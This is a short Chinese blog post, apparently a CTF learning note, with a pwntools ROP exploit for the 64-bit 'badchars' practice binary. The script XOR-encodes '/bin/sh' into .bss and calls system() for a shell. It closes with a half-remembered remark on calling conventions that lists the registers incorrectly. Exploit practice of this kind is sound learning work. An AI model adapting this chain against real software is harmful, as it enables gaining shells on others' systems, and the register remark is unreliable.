昨天那个的64位exp可能我错了....

doudoudedi

于 2019-08-08 21:00:22 发布

阅读量224

点赞数

CC 4.0 BY-SA版权

分类专栏：学习文章标签： pwn

本文链接：https://blog.youkuaiyun.com/qq_37433000/article/details/98885128

学习专栏收录该内容

40 篇文章

订阅专栏

本文通过一个具体的ROP利用实例，深入解析了64位和32位系统中参数传递方式的不同。在64位系统中，前6个参数使用rdi、rsi、rdx等寄存器进行传递；而在32位系统中，则通过栈来传递参数。此外，文章还提供了利用Python和pwn库进行ROP攻击的代码示例。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

from pwn import *
p=process('../badchars')
elf=ELF('../badchars')
bss_addr=elf.bss()
system_addr=elf.plt['system']
pop_rdi=0x0400b39
pop_r12_r13=0x0400B3B
mov_ret=0x0400B34
xor_ret=0x0400B30
pop_r14_r15=0x0400B40
bin_sh="/bin/sh\x00"
xor_value=10
xorsh=''

for i in bin_sh:
    xorsh+=chr(ord(i)^xor_value)


payload='a'*0x28
payload+=p64(pop_r12_r13)
payload+=xorsh
payload+=p64(bss_addr)

payload+=p64(mov_ret)
for i in range(len(xorsh)):
    payload+=p64(pop_r14_r15)
    payload+=p64(xor_value)
    payload+=p64(bss_addr+i)
    payload+=p64(xor_ret)

payload+=p64(pop_rdi)
payload+=p64(bss_addr)
payload+=p64(system_addr)

p.recvuntil('> ')
p.sendline(payload)
p.interactive()

64位和32位的传参方式有不同一定要记住哈哈
64位前6个参数用寄存器传参rdi,rdx,rcx,…(不记得了 ~~)
然后32位是用栈传参